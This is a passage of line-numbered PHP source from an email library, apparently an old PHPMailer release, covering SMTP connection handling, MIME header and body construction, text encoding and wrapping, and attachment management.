2002 $error .= $bad_rcpt[$i];
2003
2004 }
2005 $error = $this->Lang('recipients_failed') . $error;
2006 $this->SetError($error);
2007 $this->smtp->Reset();
2008 return false;
2009 }
2010
2011 if(!$this->smtp->Data($header . $body)) {
2012 $this->SetError($this->Lang('data_not_accepted'));
2013 $this->smtp->Reset();
2014 return false;
2015 }
2016 if($this->SMTPKeepAlive == true) {
2017 $this->smtp->Reset();
2018 } else {
2019 $this->SmtpClose();
2020 }
2021
2022 return true;
2023 }
2024
2025 /**
2026 * Initiates a connection to an SMTP server. Returns false if the
2027 * operation failed.
2028 * @access private
2029 * @return bool
2030 */
2031 function SmtpConnect() {
2032 if($this->smtp == NULL) {
2033 $this->smtp = new SMTP();
2034 }
2035
2036 $this->smtp->do_debug = $this->SMTPDebug;
2037 $hosts = explode(';', $this->Host);
2038 $index = 0;
2039 $connection = ($this->smtp->Connected());
2040
2041 /* Retry while there is no connection */
2042 while($index < count($hosts) && $connection == false) {
2043 $hostinfo = array();
2044 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2045 $host = $hostinfo[1];
2046 $port = $hostinfo[2];
2047 } else {
2048 $host = $hosts[$index];
2049 $port = $this->Port;
2050 }
2051
2052 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2053 if ($this->Helo != '') {
2054 $this->smtp->Hello($this->Helo);
2055 } else {
2056 $this->smtp->Hello($this->ServerHostname());
2057 }
2058
2059 $connection = true;
2060 if($this->SMTPAuth) {
2061 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2062 $this->SetError($this->Lang('authenticate'));
2063 $this->smtp->Reset();
2064 $connection = false;
2065 }
2066 }
2067 }
2068 $index++;
2069 }
2070 if(!$connection) {
2071 $this->SetError($this->Lang('connect_host'));
2072 }
2073
2074 return $connection;
2075 }
2076
2077 /**
2078 * Closes the active SMTP session if one exists.
2079 * @return void
2080 */
2081 function SmtpClose() {
2082 if($this->smtp != NULL) {
2083 if($this->smtp->Connected()) {
2084 $this->smtp->Quit();
2085 $this->smtp->Close();
2086 }
2087 }
2088 }
2089
2090 /**
2091 * Sets the language for all class error messages. Returns false
2092 * if it cannot load the language file. The default language type
2093 * is English.
2094 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2095 * @param string $lang_path Path to the language file directory
2096 * @access public
2097 * @return bool
2098 */
2099 function SetLanguage($lang_type, $lang_path = 'language/') {
2100 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2101 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2102 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2103 include($lang_path.'phpmailer.lang-en.php');
2104 } else {
2105 $this->SetError('Could not load language file');
2106 return false;
2107 }
2108 $this->language = $PHPMAILER_LANG;
2109
2110 return true;
2111 }
2112
2113 /////////////////////////////////////////////////
2114 // METHODS, MESSAGE CREATION
2115 /////////////////////////////////////////////////
2116
2117 /**
2118 * Creates recipient headers.
2119 * @access private
2120 * @return string
2121 */
2122 function AddrAppend($type, $addr) {
2123 $addr_str = $type . ': ';
2124 $addr_str .= $this->AddrFormat($addr[0]);
2125 if(count($addr) > 1) {
2126 for($i = 1; $i < count($addr); $i++) {
2127 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2128 }
2129 }
2130 $addr_str .= $this->LE;
2131
2132 return $addr_str;
2133 }
2134
2135 /**
2136 * Formats an address correctly.
2137 * @access private
2138 * @return string
2139 */
2140 function AddrFormat($addr) {
2141 if(empty($addr[1])) {
2142 $formatted = $this->SecureHeader($addr[0]);
2143 } else {
2144 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2145 }
2146
2147 return $formatted;
2148 }
2149
2150 /**
2151 * Wraps message for use with mailers that do not
2152 * automatically perform wrapping and for quoted-printable.
2153 * Original written by philippe.
2154 * @access private
2155 * @return string
2156 */
2157 function WrapText($message, $length, $qp_mode = false) {
2158 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2159 // If utf-8 encoding is used, we will need to make sure we don't
2160 // split multibyte characters when we wrap
2161 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2162
2163 $message = $this->FixEOL($message);
2164 if (substr($message, -1) == $this->LE) {
2165 $message = substr($message, 0, -1);
2166 }
2167
2168 $line = explode($this->LE, $message);
2169 $message = '';
2170 for ($i=0 ;$i < count($line); $i++) {
2171 $line_part = explode(' ', $line[$i]);
2172 $buf = '';
2173 for ($e = 0; $e<count($line_part); $e++) {
2174 $word = $line_part[$e];
2175 if ($qp_mode and (strlen($word) > $length)) {
2176 $space_left = $length - strlen($buf) - 1;
2177 if ($e != 0) {
2178 if ($space_left > 20) {
2179 $len = $space_left;
2180 if ($is_utf8) {
2181 $len = $this->UTF8CharBoundary($word, $len);
2182 } elseif (substr($word, $len - 1, 1) == "=") {
2183 $len--;
2184 } elseif (substr($word, $len - 2, 1) == "=") {
2185 $len -= 2;
2186 }
2187 $part = substr($word, 0, $len);
2188 $word = substr($word, $len);
2189 $buf .= ' ' . $part;
2190 $message .= $buf . sprintf("=%s", $this->LE);
2191 } else {
2192 $message .= $buf . $soft_break;
2193 }
2194 $buf = '';
2195 }
2196 while (strlen($word) > 0) {
2197 $len = $length;
2198 if ($is_utf8) {
2199 $len = $this->UTF8CharBoundary($word, $len);
2200 } elseif (substr($word, $len - 1, 1) == "=") {
2201 $len--;
2202 } elseif (substr($word, $len - 2, 1) == "=") {
2203 $len -= 2;
2204 }
2205 $part = substr($word, 0, $len);
2206 $word = substr($word, $len);
2207
2208 if (strlen($word) > 0) {
2209 $message .= $part . sprintf("=%s", $this->LE);
2210 } else {
2211 $buf = $part;
2212 }
2213 }
2214 } else {
2215 $buf_o = $buf;
2216 $buf .= ($e == 0) ? $word : (' ' . $word);
2217
2218 if (strlen($buf) > $length and $buf_o != '') {
2219 $message .= $buf_o . $soft_break;
2220 $buf = $word;
2221 }
2222 }
2223 }
2224 $message .= $buf . $this->LE;
2225 }
2226
2227 return $message;
2228 }
2229
2230 /**
2231 * Finds last character boundary prior to maxLength in a utf-8
2232 * quoted (printable) encoded string.
2233 * Original written by Colin Brown.
2234 * @access private
2235 * @param string $encodedText utf-8 QP text
2236 * @param int $maxLength find last character boundary prior to this length
2237 * @return int
2238 */
2239 function UTF8CharBoundary($encodedText, $maxLength) {
2240 $foundSplitPos = false;
2241 $lookBack = 3;
2242 while (!$foundSplitPos) {
2243 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2244 $encodedCharPos = strpos($lastChunk, "=");
2245 if ($encodedCharPos !== false) {
2246 // Found start of encoded character byte within $lookBack block.
2247 // Check the encoded byte value (the 2 chars after the '=')
2248 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2249 $dec = hexdec($hex);
2250 if ($dec < 128) { // Single byte character.
2251 // If the encoded char was found at pos 0, it will fit
2252 // otherwise reduce maxLength to start of the encoded char
2253 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2254 $maxLength - ($lookBack - $encodedCharPos);
2255 $foundSplitPos = true;
2256 } elseif ($dec >= 192) { // First byte of a multi byte character
2257 // Reduce maxLength to split at start of character
2258 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2259 $foundSplitPos = true;
2260 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2261 $lookBack += 3;
2262 }
2263 } else {
2264 // No encoded character found
2265 $foundSplitPos = true;
2266 }
2267 }
2268 return $maxLength;
2269 }
2270
2271 /**
2272 * Set the body wrapping.
2273 * @access private
2274 * @return void
2275 */
2276 function SetWordWrap() {
2277 if($this->WordWrap < 1) {
2278 return;
2279 }
2280
2281 switch($this->message_type) {
2282 case 'alt':
2283 /* fall through */
2284 case 'alt_attachments':
2285 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2286 break;
2287 default:
2288 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2289 break;
2290 }
2291 }
2292
2293 /**
2294 * Assembles message header.
2295 * @access private
2296 * @return string
2297 */
2298 function CreateHeader() {
2299 $result = '';
2300
2301 /* Set the boundaries */
2302 $uniq_id = md5(uniqid(time()));
2303 $this->boundary[1] = 'b1_' . $uniq_id;
2304 $this->boundary[2] = 'b2_' . $uniq_id;
2305
2306 $result .= $this->HeaderLine('Date', $this->RFCDate());
2307 if($this->Sender == '') {
2308 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2309 } else {
2310 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2311 }
2312
2313 /* To be created automatically by mail() */
2314 if($this->Mailer != 'mail') {
2315 if(count($this->to) > 0) {
2316 $result .= $this->AddrAppend('To', $this->to);
2317 } elseif (count($this->cc) == 0) {
2318 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2319 }
2320 if(count($this->cc) > 0) {
2321 $result .= $this->AddrAppend('Cc', $this->cc);
2322 }
2323 }
2324
2325 $from = array();
2326 $from[0][0] = trim($this->From);
2327 $from[0][1] = $this->FromName;
2328 $result .= $this->AddrAppend('From', $from);
2329
2330
2331 // sendmail and mail() extract Bcc from the header before sending
2332 if((($this->Mailer == "sendmail") || ($this->Mailer == "mail")) && (count($this->bcc) > 0))
2333 $result .= $this->AddrAppend("Bcc", $this->bcc);
2334
2335 if(count($this->ReplyTo) > 0)
2336 $result .= $this->AddrAppend("Reply-to", $this->ReplyTo);
2337
2338 // mail() sets the subject itself
2339
2340 if($this->Mailer != 'mail') {
2341 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2342 }
2343
2344 if($this->MessageID != '') {
2345 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2346 } else {
2347 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2348 }
2349 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2350 if($this->ConfirmReadingTo != '') {
2351 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2352 }
2353
2354 // Add custom headers
2355 for($index = 0; $index < count($this->CustomHeader); $index++) {
2356 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2357 }
2358 if (!$this->sign_key_file) {
2359 $result .= $this->HeaderLine('MIME-Version', '1.0');
2360 $result .= $this->GetMailMIME();
2361 }
2362
2363 return $result;
2364 }
2365
2366 /**
2367 * Returns the message MIME.
2368 * @access private
2369 * @return string
2370 */
2371 function GetMailMIME() {
2372 $result = '';
2373 switch($this->message_type) {
2374 case 'plain':
2375 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2376 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2377 break;
2378 case 'attachments':
2379 /* fall through */
2380 case 'alt_attachments':
2381 if($this->InlineImageExists()){
2382 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2383 } else {
2384 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2385 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2386 }
2387 break;
2388 case 'alt':
2389 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2390 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2391 break;
2392 }
2393
2394 if($this->Mailer != 'mail') {
2395 $result .= $this->LE.$this->LE;
2396 }
2397
2398 return $result;
2399 }
2400
2401 /**
2402 * Assembles the message body. Returns an empty string on failure.
2403 * @access private
2404 * @return string
2405 */
2406 function CreateBody() {
2407 $result = '';
2408 if ($this->sign_key_file) {
2409 $result .= $this->GetMailMIME();
2410 }
2411
2412 $this->SetWordWrap();
2413
2414 switch($this->message_type) {
2415 case 'alt':
2416 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2417 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2418 $result .= $this->LE.$this->LE;
2419 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2420 $result .= $this->EncodeString($this->Body, $this->Encoding);
2421 $result .= $this->LE.$this->LE;
2422 $result .= $this->EndBoundary($this->boundary[1]);
2423 break;
2424 case 'plain':
2425 $result .= $this->EncodeString($this->Body, $this->Encoding);
2426 break;
2427 case 'attachments':
2428 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2429 $result .= $this->EncodeString($this->Body, $this->Encoding);
2430 $result .= $this->LE;
2431 $result .= $this->AttachAll();
2432 break;
2433 case 'alt_attachments':
2434 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2435 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2436 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2437 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2438 $result .= $this->LE.$this->LE;
2439 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2440 $result .= $this->EncodeString($this->Body, $this->Encoding);
2441 $result .= $this->LE.$this->LE;
2442 $result .= $this->EndBoundary($this->boundary[2]);
2443 $result .= $this->AttachAll();
2444 break;
2445 }
2446
2447 if($this->IsError()) {
2448 $result = '';
2449 } else if ($this->sign_key_file) {
2450 $file = tempnam("", "mail");
2451 $fp = fopen($file, "w");
2452 fwrite($fp, $result);
2453 fclose($fp);
2454 $signed = tempnam("", "signed");
2455
2456 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2457 $fp = fopen($signed, "r");
2458 $result = fread($fp, filesize($this->sign_key_file));
2459 fclose($fp);
2460 } else {
2461 $this->SetError($this->Lang("signing").openssl_error_string());
2462 $result = '';
2463 }
2464
2465 unlink($file);
2466 unlink($signed);
2467 }
2468
2469 return $result;
2470 }
2471
2472 /**
2473 * Returns the start of a message boundary.
2474 * @access private
2475 */
2476 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2477 $result = '';
2478 if($charSet == '') {
2479 $charSet = $this->CharSet;
2480 }
2481 if($contentType == '') {
2482 $contentType = $this->ContentType;
2483 }
2484 if($encoding == '') {
2485 $encoding = $this->Encoding;
2486 }
2487 $result .= $this->TextLine('--' . $boundary);
2488 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2489 $result .= $this->LE;
2490 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2491 $result .= $this->LE;
2492
2493 return $result;
2494 }
2495
2496 /**
2497 * Returns the end of a message boundary.
2498 * @access private
2499 */
2500 function EndBoundary($boundary) {
2501 return $this->LE . '--' . $boundary . '--' . $this->LE;
2502 }
2503
2504 /**
2505 * Sets the message type.
2506 * @access private
2507 * @return void
2508 */
2509 function SetMessageType() {
2510 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2511 $this->message_type = 'plain';
2512 } else {
2513 if(count($this->attachment) > 0) {
2514 $this->message_type = 'attachments';
2515 }
2516 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2517 $this->message_type = 'alt';
2518 }
2519 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2520 $this->message_type = 'alt_attachments';
2521 }
2522 }
2523 }
2524
2525 /* Returns a formatted header line.
2526 * @access private
2527 * @return string
2528 */
2529 function HeaderLine($name, $value) {
2530 return $name . ': ' . $value . $this->LE;
2531 }
2532
2533 /**
2534 * Returns a formatted mail line.
2535 * @access private
2536 * @return string
2537 */
2538 function TextLine($value) {
2539 return $value . $this->LE;
2540 }
2541
2542 /////////////////////////////////////////////////
2543 // CLASS METHODS, ATTACHMENTS
2544 /////////////////////////////////////////////////
2545
2546 /**
2547 * Adds an attachment from a path on the filesystem.
2548 * Returns false if the file could not be found
2549 * or accessed.
2550 * @param string $path Path to the attachment.
2551 * @param string $name Overrides the attachment name.
2552 * @param string $encoding File encoding (see $Encoding).
2553 * @param string $type File extension (MIME) type.
2554 * @return bool
2555 */
2556 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2557 if(!@is_file($path)) {
2558 $this->SetError($this->Lang('file_access') . $path);
2559 return false;
2560 }
2561
2562 $filename = basename($path);
2563 if($name == '') {
2564 $name = $filename;
2565 }
2566
2567 $cur = count($this->attachment);
2568 $this->attachment[$cur][0] = $path;
2569 $this->attachment[$cur][1] = $filename;
2570 $this->attachment[$cur][2] = $name;
2571 $this->attachment[$cur][3] = $encoding;
2572 $this->attachment[$cur][4] = $type;
2573 $this->attachment[$cur][5] = false; // isStringAttachment
2574 $this->attachment[$cur][6] = 'attachment';
2575 $this->attachment[$cur][7] = 0;
2576
2577 return true;
2578 }
2579
2580 /**
2581 * Attaches all fs, string, and binary attachments to the message.
2582 * Returns an empty string on failure.
2583 * @access private
2584 * @return string
2585 */
2586 function AttachAll() {
2587 /* Return text of body */
2588 $mime = array();
2589
2590 /* Add all attachments */
2591 for($i = 0; $i < count($this->attachment); $i++) {
2592 /* Check for string attachment */
2593 $bString = $this->attachment[$i][5];
2594 if ($bString) {
2595 $string = $this->attachment[$i][0];
2596 } else {
2597 $path = $this->attachment[$i][0];
2598 }
2599
2600 $filename = $this->attachment[$i][1];
2601 $name = $this->attachment[$i][2];
2602 $encoding = $this->attachment[$i][3];
2603 $type = $this->attachment[$i][4];
2604 $disposition = $this->attachment[$i][6];
2605 $cid = $this->attachment[$i][7];
2606
2607 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2608 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2609 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2610
2611 if($disposition == 'inline') {
2612 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2613 }
2614
2615 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2616
2617 /* Encode as string attachment */
2618 if($bString) {
2619 $mime[] = $this->EncodeString($string, $encoding);
2620 if($this->IsError()) {
2621 return '';
2622 }
2623 $mime[] = $this->LE.$this->LE;
2624 } else {
2625 $mime[] = $this->EncodeFile($path, $encoding);
2626 if($this->IsError()) {
2627 return '';
2628 }
2629 $mime[] = $this->LE.$this->LE;
2630 }
2631 }
2632
2633 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2634
2635 return join('', $mime);
2636 }
2637
2638 /**
2639 * Encodes attachment in requested format. Returns an
2640 * empty string on failure.
2641 * @access private
2642 * @return string
2643 */
2644 function EncodeFile ($path, $encoding = 'base64') {
2645 if(!@$fd = fopen($path, 'rb')) {
2646 $this->SetError($this->Lang('file_open') . $path);
2647 return '';
2648 }
2649 $magic_quotes = get_magic_quotes_runtime();
2650 set_magic_quotes_runtime(0);
2651 $file_buffer = fread($fd, filesize($path));
2652 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2653 fclose($fd);
2654 set_magic_quotes_runtime($magic_quotes);
2655
2656 return $file_buffer;
2657 }
2658
2659 /**
2660 * Encodes string to requested format. Returns an
2661 * empty string on failure.
2662 * @access private
2663 * @return string
2664 */
2665 function EncodeString ($str, $encoding = 'base64') {
2666 $encoded = '';
2667 switch(strtolower($encoding)) {
2668 case 'base64':
2669 /* chunk_split is found in PHP >= 3.0.6 */
2670 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2671 break;
2672 case '7bit':
2673 case '8bit':
2674 $encoded = $this->FixEOL($str);
2675 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2676 $encoded .= $this->LE;
2677 break;
2678 case 'binary':
2679 $encoded = $str;
2680 break;
2681 case 'quoted-printable':
2682 $encoded = $this->EncodeQP($str);
2683 break;
2684 default:
2685 $this->SetError($this->Lang('encoding') . $encoding);
2686 break;
2687 }
2688 return $encoded;
2689 }
2690
2691 /**
2692 * Encode a header string to best of Q, B, quoted or none.
2693 * @access private
2694 * @return string
2695 */
2696 function EncodeHeader ($str, $position = 'text') {
2697 $x = 0;
2698
2699 switch (strtolower($position)) {
2700 case 'phrase':
2701 if (!preg_match('/[\200-\377]/', $str)) {
2702 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2703 $encoded = addcslashes($str, "\0..\37\177\\\"");
2704 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2705 return ($encoded);
2706 } else {
2707 return ("\"$encoded\"");
2708 }
2709 }
2710 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2711 break;
2712 case 'comment':
2713 $x = preg_match_all('/[()"]/', $str, $matches);
2714 /* Fall-through */
2715 case 'text':
2716 default:
2717 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2718 break;
2719 }
2720
2721 if ($x == 0) {
2722 return ($str);
2723 }
2724
2725 $maxlen = 75 - 7 - strlen($this->CharSet);
2726 /* Try to select the encoding which should produce the shortest output */
2727 if (strlen($str)/3 < $x) {
2728 $encoding = 'B';
2729 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2730 // Use a custom function which correctly encodes and wraps long
2731 // multibyte strings without breaking lines within a character
2732 $encoded = $this->Base64EncodeWrapMB($str);
2733 } else {
2734 $encoded = base64_encode($str);
2735 $maxlen -= $maxlen % 4;
2736 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2737 }
2738 } else {
2739 $encoding = 'Q';
2740 $encoded = $this->EncodeQ($str, $position);
2741 $encoded = $this->WrapText($encoded, $maxlen, true);
2742 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2743 }
2744
2745 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2746 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2747
2748 return $encoded;
2749 }
2750
2751 /**
2752 * Checks if a string contains multibyte characters.
2753 * @access private
2754 * @param string $str multi-byte text to wrap encode
2755 * @return bool
2756 */
2757 function HasMultiBytes($str) {
2758 if (function_exists('mb_strlen')) {
2759 return (strlen($str) > mb_strlen($str, $this->CharSet));
2760 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2761 return False;
2762 }
2763 }
2764
2765 /**
2766 * Correctly encodes and wraps long multibyte strings for mail headers
2767 * without breaking lines within a character.
2768 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2769 * @access private
2770 * @param string $str multi-byte text to wrap encode
2771 * @return string
2772 */
2773 function Base64EncodeWrapMB($str) {
2774 $start = "=?".$this->CharSet."?B?";
2775 $end = "?=";
2776 $encoded = "";
2777
2778 $mb_length = mb_strlen($str, $this->CharSet);
2779 // Each line must have length <= 75, including $start and $end
2780 $length = 75 - strlen($start) - strlen($end);
2781 // Average multi-byte ratio
2782 $ratio = $mb_length / strlen($str);
2783 // Base64 has a 4:3 ratio
2784 $offset = $avgLength = floor($length * $ratio * .75);
2785
2786 for ($i = 0; $i < $mb_length; $i += $offset) {
2787 $lookBack = 0;
2788
2789 do {
2790 $offset = $avgLength - $lookBack;
2791 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2792 $chunk = base64_encode($chunk);
2793 $lookBack++;
2794 }
2795 while (strlen($chunk) > $length);
2796
2797 $encoded .= $chunk . $this->LE;
2798 }
2799
2800 // Chomp the last linefeed
2801 $encoded = substr($encoded, 0, -strlen($this->LE));
2802 return $encoded;
2803 }
2804
2805 /**
2806 * Encode string to quoted-printable.
2807 * @access private
2808 * @return string
2809 */
2810 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2811 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2812 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2813 $eol = "\r\n";
2814 $escape = '=';
2815 $output = '';
2816 while( list(, $line) = each($lines) ) {
2817 $linlen = strlen($line);
2818 $newline = '';
2819 for($i = 0; $i < $linlen; $i++) {
2820 $c = substr( $line, $i, 1 );
2821 $dec = ord( $c );
2822 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2823 $c = '=2E';
2824 }
2825 if ( $dec == 32 ) {
2826 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2827 $c = '=20';
2828 } else if ( $space_conv ) {
2829 $c = '=20';
2830 }
2831 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2832 $h2 = floor($dec/16);
2833 $h1 = floor($dec%16);
2834 $c = $escape.$hex[$h2].$hex[$h1];
2835 }
2836 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2837 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2838 $newline = '';
2839 // check if newline first character will be point or not
2840 if ( $dec == 46 ) {
2841 $c = '=2E';
2842 }
2843 }
2844 $newline .= $c;
2845 } // end of for
2846 $output .= $newline.$eol;
2847 } // end of while
2848 return trim($output);
2849 }
2850
2851 /**
2852 * Encode string to q encoding.
2853 * @access private
2854 * @return string
2855 */
2856 function EncodeQ ($str, $position = 'text') {
2857 /* There should not be any EOL in the string */
2858 $encoded = preg_replace("[\r\n]", '', $str);
2859
2860 switch (strtolower($position)) {
2861 case 'phrase':
2862 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2863 break;
2864 case 'comment':
2865 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2866 case 'text':
2867 default:
2868 /* Replace every high ascii, control =, ? and _ characters */
2869 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2870 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2871 break;
2872 }
2873
2874 /* Replace every spaces to _ (more readable than =20) */
2875 $encoded = str_replace(' ', '_', $encoded);
2876
2877 return $encoded;
2878 }
2879
2880 /**
2881 * Adds a string or binary attachment (non-filesystem) to the list.
2882 * This method can be used to attach ascii or binary data,
2883 * such as a BLOB record from a database.
2884 * @param string $string String attachment data.
2885 * @param string $filename Name of the attachment.
2886 * @param string $encoding File encoding (see $Encoding).
2887 * @param string $type File extension (MIME) type.
2888 * @return void
2889 */
2890 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2891 /* Append to $attachment array */
2892 $cur = count($this->attachment);
2893 $this->attachment[$cur][0] = $string;
2894 $this->attachment[$cur][1] = $filename;
2895 $this->attachment[$cur][2] = $filename;
2896 $this->attachment[$cur][3] = $encoding;
2897 $this->attachment[$cur][4] = $type;
2898 $this->attachment[$cur][5] = true; // isString
2899 $this->attachment[$cur][6] = 'attachment';
2900 $this->attachment[$cur][7] = 0;
2901 }
2902
2903 /**
2904 * Adds an embedded attachment. This can include images, sounds, and
2905 * just about any other document. Make sure to set the $type to an
2906 * image type. For JPEG images use "image/jpeg" and for GIF images
2907 * use "image/gif".
2908 * @param string $path Path to the attachment.
2909 * @param string $cid Content ID of the attachment. Use this to identify
2910 * the Id for accessing the image in an HTML form.
2911 * @param string $name Overrides the attachment name.
2912 * @param string $encoding File encoding (see $Encoding).
2913 * @param string $type File extension (MIME) type.
2914 * @return bool
2915 */
2916 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2917
2918 if(!@is_file($path)) {
2919 $this->SetError($this->Lang('file_access') . $path);
2920 return false;
2921 }
2922
2923 $filename = basename($path);
2924 if($name == '') {
2925 $name = $filename;
2926 }
2927
2928 /* Append to $attachment array */
2929 $cur = count($this->attachment);
2930 $this->attachment[$cur][0] = $path;
2931 $this->attachment[$cur][1] = $filename;
2932 $this->attachment[$cur][2] = $name;
2933 $this->attachment[$cur][3] = $encoding;
2934 $this->attachment[$cur][4] = $type;
2935 $this->attachment[$cur][5] = false;
2936 $this->attachment[$cur][6] = 'inline';
2937 $this->attachment[$cur][7] = $cid;
2938
2939 return true;
2940 }
2941
2942 /**
2943 * Returns true if an inline attachment is present.
2944 * @access private
2945 * @return bool
2946 */
2947 function InlineImageExists() {
2948 $result = false;
2949 for($i = 0; $i < count($this->attachment); $i++) {
2950 if($this->attachment[$i][6] == 'inline') {
2951 $result = true;
2952 break;
2953 }
2954 }
2955
2956 return $result;
2957 }
2958
2959 /////////////////////////////////////////////////
2960 // CLASS METHODS, MESSAGE RESET
2961 /////////////////////////////////////////////////
2962
2963 /**
2964 * Clears all recipients assigned in the TO array. Returns void.
2965 * @return void
2966 */
2967 function ClearAddresses() {
2968 $this->to = array();
2969 }
2970
2971 /**
2972 * Clears all recipients assigned in the CC array. Returns void.
2973 * @return void
2974 */
2975 function ClearCCs() {
2976 $this->cc = array();
2977 }
2978
2979 /**
2980 * Clears all recipients assigned in the BCC array. Returns void.
2981 * @return void
2982 */
2983 function ClearBCCs() {
2984 $this->bcc = array();
2985 }
2986
2987 /**
2988 * Clears all recipients assigned in the ReplyTo array. Returns void.
2989 * @return void
2990 */
2991 function ClearReplyTos() {
2992 $this->ReplyTo = array();
2993 }
2994
2995 /**
2996 * Clears all recipients assigned in the TO, CC and BCC
2997 * array. Returns void.
2998 * @return void
2999 */
3000 function ClearAllRecipients() {
3001 $this->to = array();
3002 $this->cc = array();
3003 $this->bcc = array();
3004 }
3005
3006 /**
3007 * Clears all previously set filesystem, string, and binary
3008 * attachments. Returns void.
